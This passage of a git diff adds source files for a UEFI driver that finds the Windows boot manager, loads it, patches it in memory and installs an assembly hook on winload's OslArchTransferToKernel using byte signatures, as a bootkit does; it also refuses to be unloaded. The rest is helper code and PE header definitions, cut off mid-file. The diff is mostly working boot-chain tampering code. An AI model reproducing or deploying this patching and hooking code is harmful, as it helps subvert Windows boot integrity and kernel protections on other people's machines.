handleArray[i], &gEfiSimpleFileSystemProtocolGuid, &ioDevice ); + if (efistatus != EFI_SUCCESS) + continue; + + efistatus = ioDevice->OpenVolume( ioDevice, &handleRoots ); + if (EFI_ERROR( efistatus )) + continue; + + efistatus = handleRoots->Open( handleRoots, &bootFile, gWindowsBootX64ImagePath, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY ); + if (!EFI_ERROR( efistatus )) + { + handleRoots->Close( bootFile ); + *LoaderDevicePath = FileDevicePath( handleArray[i], gWindowsBootX64ImagePath ); + Print( L"\r\nFound Windows x64 bootmgfw.efi file at \'%s\'\r\n", ConvertDevicePathToText( *LoaderDevicePath, TRUE, TRUE ) ); + break; + } + } + + return efistatus; +} + +// +// Main entry point +// +EFI_STATUS EFIAPI UefiMain( IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable ) +{ + EFI_STATUS efiStatus; + EFI_LOADED_IMAGE* Image; + EFI_DEVICE_PATH* WinBootMgrDevicePath; + + // Clear screen + gST->ConOut->ClearScreen( gST->ConOut ); + + // + // Install required driver binding components + // + efiStatus = EfiLibInstallDriverBindingComponentName2( ImageHandle, SystemTable, &gDriverBindingProtocol, ImageHandle, &gComponentNameProtocol, &gComponentName2Protocol ); + if (EFI_ERROR( efiStatus )) + goto Exit; + + Print( gTitle ); + Print( L"\r\nRuntime Driver handle is %lx and System Table is at %p\r\n", ImageHandle, SystemTable ); + + efiStatus = gBS->HandleProtocol( ImageHandle, &gEfiLoadedImageProtocolGuid, &Image ); + if (EFI_ERROR( efiStatus )) + goto Exit; + + UtilPrintLoadedImageInfo( Image ); + + Print( L"\r\nLocating Windows UEFI Boot Manager...\r\n" ); + efiStatus = LocateWindowsBootManager( &WinBootMgrDevicePath ); + if (EFI_ERROR( efiStatus )) + goto Exit; + + efiStatus = ImageLoad( ImageHandle, WinBootMgrDevicePath, &gWindowsImagehandle ); + if (EFI_ERROR( efiStatus )) + goto Exit; + + Print( L"\r\nPatching Windows Boot Manager...\r\n" ); + + efiStatus = PatchWindowsBootManager( Image->ImageBase, gWindowsImagehandle ); + if (EFI_ERROR( efiStatus )) + goto Exit; + + Print( L"\r\nSuccessfully patched Windows Boot Manager!\r\n" ); + + //Print( L"\r\nPress any key to load Windows...\r\n" ); + //UtilWaitForKey( ); + + efiStatus = ImageStart( gWindowsImagehandle ); + if (EFI_ERROR( efiStatus )) + goto Exit; + +Exit: + return efiStatus; +} + + +// +// Unload the driver +// +EFI_STATUS EFIAPI UefiUnload( IN EFI_HANDLE ImageHandle ) +{ + // Disable unloading + return EFI_ACCESS_DENIED; +} \ No newline at end of file diff --git a/UefiDriver/drvname.c b/UefiDriver/drvname.c new file mode 100644 index 0000000..59c673c --- /dev/null +++ b/UefiDriver/drvname.c @@ -0,0 +1,111 @@ +#include "drv.h" + +// +// EFI Component Name Protocol +// +EFI_COMPONENT_NAME_PROTOCOL gComponentNameProtocol = +{ + RuntimeComponentNameGetDriverName, + RuntimeComponentNameGetControllerName, + "eng" +}; + +// +// EFI Component Name 2 Protocol +// +EFI_COMPONENT_NAME2_PROTOCOL gComponentName2Protocol = +{ + (EFI_COMPONENT_NAME2_GET_DRIVER_NAME)RuntimeComponentNameGetDriverName, + (EFI_COMPONENT_NAME2_GET_CONTROLLER_NAME)RuntimeComponentNameGetControllerName, + "en" +}; + +// +// Internationalized names for the driver +// +EFI_UNICODE_STRING_TABLE gDriverNameTable[] = +{ + { + "eng;en", + L"Runtime Driver" + }, + {NULL, NULL} +}; + +// +// Internationalized names for the device +// +EFI_UNICODE_STRING_TABLE gDeviceNameTable[] = +{ + { + "eng;en", + L"Runtime Device" + }, + {NULL, NULL} +}; + +EFI_STATUS +EFIAPI +RuntimeComponentNameGetDriverName ( + IN EFI_COMPONENT_NAME_PROTOCOL *This, + IN CHAR8 *Language, + OUT CHAR16 **DriverName + ) +{ + // + // Find a matching string in the driver name string table + // + return LookupUnicodeString2(Language, + This->SupportedLanguages, + gDriverNameTable, + DriverName, + This == &gComponentNameProtocol); +} + +EFI_STATUS +EFIAPI +RuntimeComponentNameGetControllerName ( + IN EFI_COMPONENT_NAME_PROTOCOL *This, + IN EFI_HANDLE ControllerHandle, + IN EFI_HANDLE ChildHandle OPTIONAL, + IN CHAR8 *Language, + OUT CHAR16 **ControllerName + ) +{ + EFI_STATUS efiStatus; + + // + // We don't currently support names for our child devices + // + if (ChildHandle != NULL) + { + efiStatus = EFI_UNSUPPORTED; + goto Exit; + } + + // + // Make sure that this is a device we support + // + efiStatus = EfiTestManagedDevice(ControllerHandle, + gDriverBindingProtocol.DriverBindingHandle, + &gEfiPciIoProtocolGuid); + if (EFI_ERROR(efiStatus)) + { + goto Exit; + } + + // + // Find a matching string in the device name string table + // + efiStatus = LookupUnicodeString2(Language, + This->SupportedLanguages, + gDeviceNameTable, + ControllerName, + This == &gComponentNameProtocol); + +Exit: + // + // Return back to DXE + // + return efiStatus; +} diff --git a/UefiDriver/drvpnp.c b/UefiDriver/drvpnp.c new file mode 100644 index 0000000..1abda5b --- /dev/null +++ b/UefiDriver/drvpnp.c @@ -0,0 +1,331 @@ +#include "drv.h" + +// +// EFI Driver Binding Protocol +// +EFI_DRIVER_BINDING_PROTOCOL gDriverBindingProtocol = +{ + RuntimeDriverSupported, + RuntimeDriverStart, + RuntimeDriverStop, + 10, + NULL, + NULL +}; + +// +// Our custom GUID +// +EFI_GUID gEfiRuntimeDriverProtocolGuid = EFI_RUNTIME_DRIVER_PROTOCOL_GUID; + +EFI_STATUS +EFIAPI +RuntimeDriverSupported( + IN EFI_DRIVER_BINDING_PROTOCOL *This, + IN EFI_HANDLE Controller, + IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath +) +{ + EFI_STATUS efiStatus; + EFI_PCI_IO_PROTOCOL* pciIo; + + // + // Assume failure + // + pciIo = NULL; + efiStatus = EFI_UNSUPPORTED; + + // + // Make sure the controller has a device path (meaning it could be hardware + // or an image) + // + efiStatus = gBS->OpenProtocol( Controller, + &gEfiDevicePathProtocolGuid, + NULL, + This->DriverBindingHandle, + Controller, + EFI_OPEN_PROTOCOL_TEST_PROTOCOL ); + if (EFI_ERROR( efiStatus )) + { + goto Exit; + } + + // + // Make sure the controller implements a PCI I/O protocol. Otherwise, this + // is not a PCI device + // + efiStatus = gBS->OpenProtocol( Controller, + &gEfiPciIoProtocolGuid, + (VOID**)&pciIo, + This->DriverBindingHandle, + Controller, + EFI_OPEN_PROTOCOL_BY_DRIVER ); + if (EFI_ERROR( efiStatus )) + { + pciIo = NULL; + goto Exit; + } + + // + // Attach to all PCI devices + // + efiStatus = EFI_SUCCESS; + +Exit: + // + // If we had a PCI I/O protocol open, close it now to avoid a leak + // + if (pciIo != NULL) + { + gBS->CloseProtocol( Controller, + &gEfiPciIoProtocolGuid, + This->DriverBindingHandle, + Controller ); + } + + // + // Return back to DXE + // + return efiStatus; +} + +EFI_STATUS +EFIAPI +RuntimeDriverStop( + IN EFI_DRIVER_BINDING_PROTOCOL* This, + IN EFI_HANDLE Controller, + IN UINTN NumberOfChildren, + IN EFI_HANDLE* ChildHandleBuffer +) +{ + EFI_STATUS efiStatus; + BOOLEAN allChildrenStopped; + UINTN i; + PDEVICE_EXTENSION deviceExtension; + PEFI_RUNTIME_DRIVER_PROTOCOL RuntimeDriverProtocol; + + // + // Complete all outstanding transactions to Controller. + // Don't allow any new transaction to Controller to be started. + // + if (NumberOfChildren == 0) + { + efiStatus = gBS->CloseProtocol( Controller, + &gEfiPciIoProtocolGuid, + This->DriverBindingHandle, + Controller ); + goto Exit; + } + + // + // Enumerate all children + // + allChildrenStopped = TRUE; + for (i = 0; i < NumberOfChildren; i++) + { + // + // Children should have our protocol installed + // + efiStatus = gBS->OpenProtocol( ChildHandleBuffer[i], + &gEfiRuntimeDriverProtocolGuid, + (VOID**)&RuntimeDriverProtocol, + This->DriverBindingHandle, + Controller, + EFI_OPEN_PROTOCOL_GET_PROTOCOL ); + if (EFI_ERROR( efiStatus )) + { + allChildrenStopped = FALSE; + continue; + } + + // + // Get the device extension for this child device + // + deviceExtension = DEVICE_EXTENSION_FROM_PROTOCOL( RuntimeDriverProtocol ); + + // + // Close the PCI I/O protocol off the child device + // + efiStatus = gBS->CloseProtocol( Controller, + &gEfiPciIoProtocolGuid, + This->DriverBindingHandle, + ChildHandleBuffer[i] ); + if (EFI_ERROR( efiStatus )) + { + allChildrenStopped = FALSE; + continue; + } + + // + // Uninstall our own protocol off this child device + // + efiStatus = gBS->UninstallMultipleProtocolInterfaces( ChildHandleBuffer[i], + &gEfiRuntimeDriverProtocolGuid, + &deviceExtension->DeviceProtocol, + NULL ); + if (EFI_ERROR( efiStatus )) + { + allChildrenStopped = FALSE; + continue; + } + + // + // Free our device extension + // + FreePool( deviceExtension ); + } + + // + // If any errors happened, then fail the stop request. + // Otherwise, return success. + // + if (allChildrenStopped == FALSE) + { + efiStatus = EFI_DEVICE_ERROR; + } + else + { + efiStatus = EFI_SUCCESS; + } + +Exit: + // + // Return back to DXE + // + return efiStatus; +} + +EFI_STATUS +EFIAPI +RuntimeDriverStart( + IN EFI_DRIVER_BINDING_PROTOCOL *This, + IN EFI_HANDLE Controller, + IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath +) +{ + EFI_STATUS efiStatus; + EFI_PCI_IO_PROTOCOL* pciIo, childPciIo; + PDEVICE_EXTENSION deviceExtension; + + // + // Assume failure + // + pciIo = NULL; + deviceExtension = NULL; + + // + // Open the PCI I/O protocol. We know this should succeed because our + // supported routine already tried this. + // + efiStatus = gBS->OpenProtocol( Controller, + &gEfiPciIoProtocolGuid, + (VOID**)&pciIo, + This->DriverBindingHandle, + Controller, + EFI_OPEN_PROTOCOL_BY_DRIVER ); + if (EFI_ERROR( efiStatus )) + { + pciIo = NULL; + ASSERT_EFI_ERROR( efiStatus ); + goto Exit; + } + + // + // Allocate the device extension + // + deviceExtension = AllocateZeroPool( sizeof( *deviceExtension ) ); + if (deviceExtension == NULL) + { + efiStatus = EFI_OUT_OF_RESOURCES; + goto Exit; + } + + // + // Fill out the key fields + // + deviceExtension->PciIo = pciIo; + deviceExtension->Signature = DEVICE_EXTENSION_SIGNATURE; + deviceExtension->DeviceHandle = NULL; + + // + // Fill out custom protocol value + // + deviceExtension->DeviceProtocol.Value = This->DriverBindingHandle; + + // + // Install our custom protocol on top of a new device handle + // + efiStatus = gBS->InstallMultipleProtocolInterfaces( &deviceExtension->DeviceHandle, + &gEfiRuntimeDriverProtocolGuid, + &deviceExtension->DeviceProtocol, + NULL ); + if (EFI_ERROR( efiStatus )) + { + goto Exit; + } + + // + // Bind the PCI I/O protocol between our new device handle and the controller + // + efiStatus = gBS->OpenProtocol( Controller, + &gEfiPciIoProtocolGuid, + (VOID**)&childPciIo, + This->DriverBindingHandle, + deviceExtension->DeviceHandle, + EFI_OPEN_PROTOCOL_BY_CHILD_CONTROLLER ); + if (EFI_ERROR( efiStatus )) + { + goto Exit; + } + + // + // We're all done successfully + // + efiStatus = EFI_SUCCESS; + +Exit: + // + // Do cleanup in case of error + // + if (EFI_ERROR( efiStatus )) + { + // + // First check if a device extension was allocated + // + if (deviceExtension != NULL) + { + // + // If a device handle was created, then uninstall the custom protocol + // + if (deviceExtension->DeviceHandle != NULL) + { + gBS->UninstallMultipleProtocolInterfaces( &deviceExtension->DeviceHandle, + &gEfiRuntimeDriverProtocolGuid, + &deviceExtension->DeviceProtocol, + NULL ); + } + + // + // Free the device extension + // + FreePool( deviceExtension ); + } + + // + // Check if we obtained a PCI I/O protocol + // + if (pciIo != NULL) + { + // + // Close it so that we don't leak it + // + gBS->CloseProtocol( Controller, &gEfiPciIoProtocolGuid, This->DriverBindingHandle, Controller ); + } + } + + // + // All done, return to DXE + // + return efiStatus; +} + diff --git a/UefiDriver/drvproto.h b/UefiDriver/drvproto.h new file mode 100644 index 0000000..95010f9 --- /dev/null +++ b/UefiDriver/drvproto.h @@ -0,0 +1,18 @@ +#include + +// +// Custom Protocol GUID +// +#define EFI_RUNTIME_DRIVER_PROTOCOL_GUID \ + { \ + 0xd487ddb4, 0x008b, 0x11d9, {0xaf, 0xdc, 0x00, 0x10, 0x83, 0xff, 0xca, 0x4d } \ + } +extern EFI_GUID gEfiRuntimeDriverProtocolGuid; + +// +// Custom Protocol Definition +// +typedef struct _EFI_RUNTIME_DRIVER_PROTOCOL +{ + EFI_HANDLE Value; +} EFI_RUNTIME_DRIVER_PROTOCOL, *PEFI_RUNTIME_DRIVER_PROTOCOL; diff --git a/UefiDriver/hook.asm b/UefiDriver/hook.asm new file mode 100644 index 0000000..2b9782e --- /dev/null +++ b/UefiDriver/hook.asm @@ -0,0 +1,145 @@ +; ++ +; +; Copyright (c) dude719. All rights reserved. +; +; Module: +; +; hooks.asm +; +; Summary: +; +; This module implements a hook for OslLoadImage in winload.efi +; +; Environment: +; +; UEFI firmware +; +; -- + +;********************************************************************* +; Public symbols +; Saved OslArchTransferToKernel location and bytes from before the patch +public OslArchTransferToKernelBackup +public OslArchTransferToKernelPatchLocation + +;********************************************************************* +; .data section +.DATA + +ALIGN 16 + +; Original OslArchTransferToKernel address +extern oOslArchTransferToKernel:dq +; Saved OslArchTransferToKernel bytes from before the patch +OslArchTransferToKernelBackup db 5 dup(0) +OslArchTransferToKernelPatchLocation dq 0 + +; UEFI System Table for printing to console +extern gST:dq + +extern UtilWaitForKey:proc +extern Print:proc + +; Test string for PrintString +TestString dw "A","S","M"," ","T","E","S","T", 000Dh, 000Ah, 0000h + + + +;********************************************************************* +; .text section +.CODE + +;********************************************************************* +; EFI_STATUS +; PrintString( +; IN CHAR16* Str +; ); +;********************************************************************* +PrintString PROC + sub rsp, 30h + mov rdx, rcx ; Str + mov rax, gST + mov r8, [rax + 40h] + mov rcx, r8 + call qword ptr [r8 + 8h] + add rsp, 30h + ret +PrintString ENDP + +PrintStringTest PROC + lea rcx, TestString + call PrintString + ret +PrintStringTest ENDP + + +; ; Search image base +; and rdx, 0FFFFFFFFFFFFF000h +;get_imagebase: +; cmp word ptr [rdx], 05A4Dh +; je get_imagesize +; sub rdx, 01000h +; jmp get_imagebase +; +; ; Search for NX flag pattern in image +;get_imagesize: +; mov ecx, dword ptr[rdx+03Ch] ; get e_lfanew from DOS headers +; mov ebx, dword ptr[rdx+rcx+050h] ; get sizeOfImage from OptionialHeader in PE + +; +; Our OslArchTransferToKernelHook hook +; +; VOID __fastcall OslArchTransferToKernel(VOID *KernelParams, VOID *KiSystemStartup) +; +OslArchTransferToKernelHook PROC + ; Save registers to do our kernel patching + push r15 + push r14 + push r13 + push r12 + push r11 + push r10 + push r9 + push r8 + push rbp + push rdi + push rsi + push rdx ; rdx is a pointer to KiSystemStartup + push rcx ; rcx is a pointer to kernel loading paramters + push rbx + push rax + pushfq + mov rbp, rsp + and rsp, 0FFFFFFFFFFFFFFF0h ; align stack to 16 bytes + + ; Before we do anything lets restore the original function bytes +restore_bytes: + lea rsi, OslArchTransferToKernelBackup + mov rdi, OslArchTransferToKernelPatchLocation + mov rcx, 5 ; our patch size was 5 bytes + rep movsb byte ptr [rdi], byte ptr [rsi] ; restore bytes + + mov rsp, rbp + popfq + pop rax + pop rbx + pop rcx + pop rdx + pop rsi + pop rdi + pop rbp + pop r8 + pop r9 + pop r10 + pop r11 + pop r12 + pop r13 + pop r14 + pop r15 + + ; jump to original + jmp qword ptr [oOslArchTransferToKernel] + +OslArchTransferToKernelHook ENDP + +END \ No newline at end of file diff --git a/UefiDriver/hook.h b/UefiDriver/hook.h new file mode 100644 index 0000000..0f481a0 --- /dev/null +++ b/UefiDriver/hook.h @@ -0,0 +1,23 @@ +#pragma once + +// +// Implemented in hook.asm +// +EFI_STATUS PrintString( IN CHAR16* Str ); +EFI_STATUS PrintTestString( VOID ); + +// +// ImgArchEfiStartBootApplication hook +// +typedef EFI_STATUS( EFIAPI *tImgArchEfiStartBootApplication )(VOID* Parameters, VOID* ImageBase, UINT32 ImageSize, UINT8 BootOption, UINT64* SomeReturnValue); +static UINT8 sigImgArchEfiStartBootApplicationCall[] = { 0xE8, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xCE, 0x8B, 0xD8, 0xE8, 0xCC, 0xCC, 0xCC, 0xCC, 0x41 }; +VOID* ImgArchEfiStartBootApplicationPatchLocation = NULL; +UINT8 ImgArchEfiStartBootApplicationBackup[5] = { 0 }; +tImgArchEfiStartBootApplication oImgArchEfiStartBootApplication = NULL; + +typedef VOID( EFIAPI *tOslArchTransferToKernel )(VOID *KernelParams, VOID *KiSystemStartup); +static UINT8 sigOslArchTransferToKernel[] = { 0xE8, 0xCC, 0xCC, 0xCC, 0xCC, 0xEB, 0xFE }; //48 8B 45 A8 33 FF +extern VOID* OslArchTransferToKernelPatchLocation; +extern UINT8 OslArchTransferToKernelBackup[5]; +tOslArchTransferToKernel oOslArchTransferToKernel = NULL; +extern VOID* OslArchTransferToKernelHook; \ No newline at end of file diff --git a/UefiDriver/imageldr.c b/UefiDriver/imageldr.c new file mode 100644 index 0000000..cc68bf4 --- /dev/null +++ b/UefiDriver/imageldr.c @@ -0,0 +1,23 @@ +#include "imageldr.h" + +#include +#include +#include + +EFI_STATUS ImageLoad( IN EFI_HANDLE ParentHandle, IN EFI_DEVICE_PATH* DevicePath, OUT EFI_HANDLE* ImageHandle ) +{ + EFI_STATUS status = EFI_NOT_FOUND; + // Load image in memory + status = gBS->LoadImage( TRUE, ParentHandle, DevicePath, NULL, 0, ImageHandle ); + if (status != EFI_SUCCESS) + { + Print( L"[!] LoadImage error = %X\r\n", status ); + } + + return status; +} + +EFI_STATUS ImageStart( IN EFI_HANDLE ImageHandle ) +{ + return gBS->StartImage( ImageHandle, (UINTN *)NULL, (CHAR16 **)NULL ); +} diff --git a/UefiDriver/imageldr.h b/UefiDriver/imageldr.h new file mode 100644 index 0000000..70e39b9 --- /dev/null +++ b/UefiDriver/imageldr.h @@ -0,0 +1,7 @@ +#pragma once + +#include + +EFI_STATUS ImageLoad( IN EFI_HANDLE ParentHandle, IN EFI_DEVICE_PATH* DevicePath, OUT EFI_HANDLE* ImageHandle ); + +EFI_STATUS ImageStart( IN EFI_HANDLE ImageHandle ); \ No newline at end of file diff --git a/UefiDriver/pe.c b/UefiDriver/pe.c new file mode 100644 index 0000000..3d1dbbd --- /dev/null +++ b/UefiDriver/pe.c @@ -0,0 +1,24 @@ +#include "pe.h" + +PIMAGE_DOS_HEADER ImageDosHeader( IN VOID* ImageBase ) +{ + PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)(ImageBase); + if (!ImageDosHeader) + return NULL; + if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) + return NULL; + return ImageDosHeader; +} + +PIMAGE_NT_HEADERS ImageNtHeader( IN VOID* ImageBase ) +{ + PIMAGE_DOS_HEADER ImageDosHdr; + PIMAGE_NT_HEADERS ImageNtHdr; + ImageDosHdr = ImageDosHeader( ImageBase ); + if (!ImageDosHdr) + return NULL; + ImageNtHdr = (PIMAGE_NT_HEADERS)((UINT8*)ImageBase + ImageDosHdr->e_lfanew); + if (ImageNtHdr->Signature != IMAGE_NT_SIGNATURE) + return NULL; + return ImageNtHdr; +} \ No newline at end of file diff --git a/UefiDriver/pe.h b/UefiDriver/pe.h new file mode 100644 index 0000000..63b5ae5 --- /dev/null +++ b/UefiDriver/pe.h @@ -0,0 +1,16 @@ +#pragma once + +#include "pestructs.h" + +#define IMAGE32(hdr) (hdr->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) +#define IMAGE64(hdr) (hdr->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) + +#define IMAGE_SIZE(hdr) (IMAGE64(hdr) ? ((PIMAGE_NT_HEADERS64)hdr)->OptionalHeader.SizeOfImage : ((PIMAGE_NT_HEADERS32)hdr)->OptionalHeader.SizeOfImage) + +#define HEADER_VAL_T(hdr, val) (IMAGE64(hdr) ? ((PIMAGE_NT_HEADERS64)hdr)->OptionalHeader.val : ((PIMAGE_NT_HEADERS32)hdr)->OptionalHeader.val) +#define THUNK_VAL_T(hdr, ptr, val) (IMAGE64(hdr) ? ((PIMAGE_THUNK_DATA64)ptr)->val : ((PIMAGE_THUNK_DATA32)ptr)->val) +#define DATA_DIRECTORY(hdr, idx) (IMAGE64(hdr) ? &(((PIMAGE_OPTIONAL_HEADER64)&(hdr->OptionalHeader))->DataDirectory[idx]) : &(((PIMAGE_OPTIONAL_HEADER32)&(hdr->OptionalHeader))->DataDirectory[idx])) + +PIMAGE_DOS_HEADER ImageDosHeader( IN VOID* ImageBase ); + +PIMAGE_NT_HEADERS ImageNtHeader( IN VOID* ImageBase ); \ No newline at end of file diff --git a/UefiDriver/pestructs.h b/UefiDriver/pestructs.h new file mode 100644 index 0000000..f94fa38 --- /dev/null +++ b/UefiDriver/pestructs.h @@ -0,0 +1,453 @@ +#pragma once + +#define IMAGE_DOS_SIGNATURE 0x5A4D // MZ +#define IMAGE_NT_SIGNATURE 0x00004550 // PE00 + +#define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b +#define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b + +#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16 + +#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory +#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory +#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Resource Directory +#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // Exception Directory +#define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // Security Directory +#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // Base Relocation Table +#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Debug Directory +// IMAGE_DIRECTORY_ENTRY_COPYRIGHT 7 // (X86 usage) +#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 // Architecture Specific Data +#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 // RVA of GP +#define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS Directory +#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 // Load Configuration Directory +#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 // Bound Import Directory in headers +#define IMAGE_DIRECTORY_ENTRY_IAT 12 // Import Address Table +#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 // Delay Load Import Descriptors +#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 // COM Runtime descriptor + +#define IMAGE_REL_BASED_ABSOLUTE 0 +#define IMAGE_REL_BASED_HIGH 1 +#define IMAGE_REL_BASED_LOW 2 +#define IMAGE_REL_BASED_HIGHLOW 3 +#define IMAGE_REL_BASED_HIGHADJ 4 +#define IMAGE_REL_BASED_MIPS_JMPADDR 5 +#define IMAGE_REL_BASED_SECTION 6 +#define IMAGE_REL_BASED_REL32 7 +#define IMAGE_REL_BASED_MIPS_JMPADDR16 9 +#define IMAGE_REL_BASED_IA64_IMM64 9 +#define IMAGE_REL_BASED_DIR64 10 + +#define IMAGE_SIZEOF_BASE_RELOCATION 8 + +#ifndef IMR_RELTYPE +#define IMR_RELTYPE(x) ((x >> 12) & 0xF) +#endif + +#ifndef IMR_RELOFFSET +#define IMR_RELOFFSET(x) (x & 0xFFF) +#endif + + +#define IMAGE_FILE_RELOCS_STRIPPED 0x0001 // Relocation info stripped from file. +#define IMAGE_FILE_EXECUTABLE_IMAGE 0x0002 // File is executable (i.e. no unresolved external references). +#define IMAGE_FILE_LINE_NUMS_STRIPPED 0x0004 // Line nunbers stripped from file. +#define IMAGE_FILE_LOCAL_SYMS_STRIPPED 0x0008 // Local symbols stripped from file. +#define IMAGE_FILE_AGGRESIVE_WS_TRIM 0x0010 // Aggressively trim working set +#define IMAGE_FILE_LARGE_ADDRESS_AWARE 0x0020 // App can handle >2gb addresses +#define IMAGE_FILE_BYTES_REVERSED_LO 0x0080 // Bytes of machine word are reversed. +#define IMAGE_FILE_32BIT_MACHINE 0x0100 // 32 bit word machine. +#define IMAGE_FILE_DEBUG_STRIPPED 0x0200 // Debugging info stripped from file in .DBG file +#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP 0x0400 // If Image is on removable media, copy and run from the swap file. +#define IMAGE_FILE_NET_RUN_FROM_SWAP 0x0800 // If Image is on Net, copy and run from the swap file. +#define IMAGE_FILE_SYSTEM 0x1000 // System File. +#define IMAGE_FILE_DLL 0x2000 // File is a DLL. +#define IMAGE_FILE_UP_SYSTEM_ONLY 0x4000 // File should only be run on a UP machine +#define IMAGE_FILE_BYTES_REVERSED_HI 0x8000 // Bytes of machine word are reversed. + +#define IMAGE_FILE_MACHINE_UNKNOWN 0 +#define IMAGE_FILE_MACHINE_I386 0x014c // Intel 386. +#define IMAGE_FILE_MACHINE_R3000 0x0162 // MIPS little-endian, 0x160 big-endian +#define IMAGE_FILE_MACHINE_R4000 0x0166 // MIPS little-endian +#define IMAGE_FILE_MACHINE_R10000 0x0168 // MIPS little-endian +#define IMAGE_FILE_MACHINE_WCEMIPSV2 0x0169 // MIPS little-endian WCE v2 +#define IMAGE_FILE_MACHINE_ALPHA 0x0184 // Alpha_AXP +#define IMAGE_FILE_MACHINE_SH3 0x01a2 // SH3 little-endian +#define IMAGE_FILE_MACHINE_SH3DSP 0x01a3 +#define IMAGE_FILE_MACHINE_SH3E 0x01a4 // SH3E little-endian +#define IMAGE_FILE_MACHINE_SH4 0x01a6 // SH4 little-endian +#define IMAGE_FILE_MACHINE_SH5 0x01a8 // SH5 +#define IMAGE_FILE_MACHINE_ARM 0x01c0 // ARM Little-Endian +#define IMAGE_FILE_MACHINE_THUMB 0x01c2 // ARM Thumb/Thumb-2 Little-Endian +#define IMAGE_FILE_MACHINE_ARMNT 0x01c4 // ARM Thumb-2 Little-Endian +#define IMAGE_FILE_MACHINE_AM33 0x01d3 +#define IMAGE_FILE_MACHINE_POWERPC 0x01F0 // IBM PowerPC Little-Endian +#define IMAGE_FILE_MACHINE_POWERPCFP 0x01f1 +#define IMAGE_FILE_MACHINE_IA64 0x0200 // Intel 64 +#define IMAGE_FILE_MACHINE_MIPS16 0x0266 // MIPS +#define IMAGE_FILE_MACHINE_ALPHA64 0x0284 // ALPHA64 +#define IMAGE_FILE_MACHINE_MIPSFPU 0x0366 // MIPS +#define IMAGE_FILE_MACHINE_MIPSFPU16 0x0466 // MIPS +#define IMAGE_FILE_MACHINE_AXP64 IMAGE_FILE_MACHINE_ALPHA64 +#define IMAGE_FILE_MACHINE_TRICORE 0x0520 // Infineon +#define IMAGE_FILE_MACHINE_CEF 0x0CEF +#define IMAGE_FILE_MACHINE_EBC 0x0EBC // EFI Byte Code +#define IMAGE_FILE_MACHINE_AMD64 0x8664 // AMD64 (K8) +#define IMAGE_FILE_MACHINE_M32R 0x9041 // M32R little-endian +#define IMAGE_FILE_MACHINE_CEE 0xC0EE + +#define IMAGE_ORDINAL_FLAG64 0x8000000000000000 +#define IMAGE_ORDINAL_FLAG32 0x80000000 +#define IMAGE_ORDINAL64(Ordinal) (Ordinal & 0xffff) +#define IMAGE_ORDINAL32(Ordinal) (Ordinal & 0xffff) +#define IMAGE_SNAP_BY_ORDINAL64(Ordinal) ((Ordinal & IMAGE_ORDINAL_FLAG64) != 0) +#define IMAGE_SNAP_BY_ORDINAL32(Ordinal) ((Ordinal & IMAGE_ORDINAL_FLAG32) != 0) + +// +// Section characteristics. +// +// IMAGE_SCN_TYPE_REG 0x00000000 // Reserved. +// IMAGE_SCN_TYPE_DSECT 0x00000001 // Reserved. +// IMAGE_SCN_TYPE_NOLOAD 0x00000002 // Reserved. +// IMAGE_SCN_TYPE_GROUP 0x00000004 // Reserved. +#define IMAGE_SCN_TYPE_NO_PAD 0x00000008 // Reserved. +// IMAGE_SCN_TYPE_COPY 0x00000010 // Reserved. + +#define IMAGE_SCN_CNT_CODE 0x00000020 // Section contains code. +#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 // Section contains initialized data. +#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 // Section contains uninitialized data. + +#define IMAGE_SCN_LNK_OTHER 0x00000100 // Reserved. +#define IMAGE_SCN_LNK_INFO 0x00000200 // Section contains comments or some other type of information. +// IMAGE_SCN_TYPE_OVER 0x00000400 // Reserved. +#define IMAGE_SCN_LNK_REMOVE 0x00000800 // Section contents will not become part of image. +#define IMAGE_SCN_LNK_COMDAT 0x00001000 // Section contents comdat. +// 0x00002000 // Reserved. +// IMAGE_SCN_MEM_PROTECTED - Obsolete 0x00004000 +#define IMAGE_SCN_NO_DEFER_SPEC_EXC 0x00004000 // Reset speculative exceptions handling bits in the TLB entries for this section. +#define IMAGE_SCN_GPREL 0x00008000 // Section content can be accessed relative to GP +#define IMAGE_SCN_MEM_FARDATA 0x00008000 +// IMAGE_SCN_MEM_SYSHEAP - Obsolete 0x00010000 +#define IMAGE_SCN_MEM_PURGEABLE 0x00020000 +#define IMAGE_SCN_MEM_16BIT 0x00020000 +#define IMAGE_SCN_MEM_LOCKED 0x00040000 +#define IMAGE_SCN_MEM_PRELOAD 0x00080000 + +#define IMAGE_SCN_ALIGN_1BYTES 0x00100000 // +#define IMAGE_SCN_ALIGN_2BYTES 0x00200000 // +#define IMAGE_SCN_ALIGN_4BYTES 0x00300000 // +#define IMAGE_SCN_ALIGN_8BYTES 0x00400000 // +#define IMAGE_SCN_ALIGN_16BYTES 0x00500000 // Default alignment if no others are specified. +#define IMAGE_SCN_ALIGN_32BYTES 0x00600000 // +#define IMAGE_SCN_ALIGN_64BYTES 